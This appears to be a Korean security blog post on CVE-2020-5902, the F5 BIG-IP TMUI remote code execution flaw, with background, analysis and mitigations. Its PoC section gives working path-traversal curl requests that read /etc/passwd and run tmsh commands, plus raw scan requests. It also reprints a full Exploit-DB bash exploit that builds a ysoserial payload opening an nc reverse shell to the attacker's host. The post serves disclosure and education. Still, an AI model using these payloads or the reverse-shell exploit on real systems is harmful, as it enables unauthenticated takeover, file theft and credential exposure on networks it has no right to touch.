Vulnerability:BIG-IP의 Traffic Management User Interface(TMUI)에서 접근통제가 미흡하여 발생하는 RCE 취약점
CVE Code: CVE-2020-5902
1. 개념
BIG-IP는 F5 Networks의 주요 제품군 중 하나이고, 웹 트래픽 조절, 로드 밸런서, 방화벽, 액세스 게이트웨이, 속도 제한, SSL 미들웨어 등 다양한 기능을 지원하며 공공, 기업 네트워크와 데이터센터 내에 사용되고 있다.
2. 취약점 설명
F5 BIG-IP의 웹 기반 트래픽 관리 사용자 인터페이스(TMUI)에서 발견 된 원격 코드 실행 취약점(RCE)이 2020년 7월에 발견되었다.
이 취약점은 CVSS 점수 10점 만점에 10점을 기록하였다.
이 취약점을 악용함으로써 BIG-IP 구성 유틸리티에 액세스 할 수있는 원격 공격자는 인증없이 원격 코드 실행(RCE)을 수행 할 수 있고, 공격자는 파일을 만들거나 삭제하고, 서비스를 비활성화하고, 정보를 가로 채고, 임의의 시스템 명령과 Java 코드를 실행하고, 시스템을 완전히 손상시키고, 내부 네트워크와 같은 추가 대상을 추구 할 수 있다. 이 경우 RCE는 디렉토리 탐색 악용을 허용하는 것과 같은 여러 구성 요소의 보안 결함으로 인해 발생한다.
이는 F5 BIG-IP 웹 인터페이스가 Shodan과 같은 검색 엔진에 나열된 회사에 특히 위험하다.
다행히 제품을 사용하는 대부분의 회사는 인터넷에서 인터페이스에 액세스 할 수 없다.
3. PoC(Proof of Concept)
1) 서버 정보 확인
GET 메소드를 통해 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx 요청을 보냈을 때 에러 메시지와 함께 uid, gid, context 정보가(whoami) 출력 된다.
GET 메소드를 통해 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx 요청을 보냈을 때 uname 값을 확인할 수 있다.
2) 공격 수행
2.1) RCE
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
2.2) Read File
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
3) 취약점 분석
3.1) Directory Listing
URL: /tmui/locallb/workspace/directoryList.jsp
예시: directoryPath=/usr/local/www/
directoryPath 매개변수를 이용하여 디렉터리 이동 후 directoryList.jsp를 출력하면 디렉토리 목록이 적혀있는 JSON 파일이 출력된다.
3.2) File Download Vernerability (fileRead.jsp)
URL: /tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
/fileRead.jsp 파일을 이용하여 filename 매개변수에 /etc/passwd를 입력하면 /etc/passwd파일을 다운받을 수 있다.
3.3) RCE (execute arbitrary system commands)
URL: /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
tmshCmd.jsp에서 command 매개변수에 list+auth+user+admin를 넣으면 RCE를 실행할 수 있다.
3.3.1) Format
description "Admin User" encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1 partition Common partition-access { all-partitions { role admin } } shell tmsh } |
3.4) File Upload Vernerability
POST 방식에서 fileSave.jsp를 이용하여 fileName=/tmp/1.txt&content=CVE-2020-5902를 다운받을 수 있다.
4) Exploit Code
#!/bin/bash
#
# EDB Note Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/48642.zip
#
# Exploit Title: F5 BIG-IP Remote Code Execution
# Date: 2020-07-06
# Exploit Authors: Charles Dardaman of Critical Start, TeamARES
# Rich Mirch of Critical Start, TeamARES
# CVE: CVE-2020-5902
#
# Requirements:
# Java JDK
# hsqldb.jar 1.8
# ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
#
if [[ $# -ne 3 ]]
then
echo
echo "Usage: $(basename $0) <server> <localip> <localport>"
echo
exit 1
fi
server=${1?hostname argument required}
localip=${2?Locaip argument required}
port=${3?Port argument required}
if [[ ! -f $server.der ]]
then
echo "$server.der does not exist - extracting cert"
openssl s_client \
-showcerts \
-servername $server \
-connect $server:443 </dev/null 2>/dev/null | openssl x509 -outform DER >$server.der
keytool -import \
-alias $server \
-keystore keystore \
-storepass changeit \
-noprompt \
-file $PWD/$server.der
else
echo "$server.der already exists. skipping extraction step"
fi
java -jar ysoserial-master-SNAPSHOT.jar \
CommonsCollections6 \
"/bin/nc -e /bin/bash $localip $port" > nc.class
xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex
if [[ ! -f f5RCE.class ]]
then
echo "Building exploit"
javac -cp hsqldb.jar f5RCE.java
fi
java -cp hsqldb.jar:. \
-Djavax.net.ssl.trustStore=keystore \
-Djavax.net.ssl.trustStorePassword=changeit \
f5RCE $server payload.hex
4. raw Data
GET /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa HTTP/1.1
Host:x.x.x.x
User-Agent: Nuclei - Open-source project (github.com/projectdiscovery/nuclei)
Accept: */*
Accept-Language: en
Connection: close
Accept-Encoding: gzip
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
GET /tmui/login.jsp/..;/tmui/util/getTabSet.jsp, /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp.
5. 대응 방안
① .*\.\.;.* 문자열 필터링을 통해 /tmui 디렉터리에 접근할 수 없도록 설정한다.
② 최신 버전인 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4로 업데이트 수행
③ AWS (Amazon Web Services), Azure, GCP, Alibaba와 같은 공개 클라우드 사용자들은 BIG-IP Virtual Edition (VE) 버전 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.0.1.4, 15.1.0.4로 업데이트 수행
[참고]
ZDnet: https://zdnet.co.kr/view/?no=20200707140518
이스트 시큐리티: https://blog.cloudflare.com/cve-2020-5902-helping-to-protect-against-the-f5-tmui-rce-vulnerability/
The hack News: https://thehackernews.com/2020/07/f5-big-ip-application-security.html
'Hacking & Security > Vulnerability' 카테고리의 다른 글
DrayTek Vigor RCE Vulnerability (CVE-2020-8515) (3) | 2020.10.03 |
---|---|
Netlink GPON RCE Vulnerability (CVE-2018-10562) (4) | 2020.10.01 |
Comtrend VR-3033 Router RCE Vernerability (CVE-2020-10173) (0) | 2020.07.16 |
WordPress Plugin Multi-Scheduler 1.0.0 CSRF(CVE-2020-13426) (1) | 2020.06.26 |
Zyxel NAS Command Injection(CVE-2020-9054) (0) | 2020.06.24 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊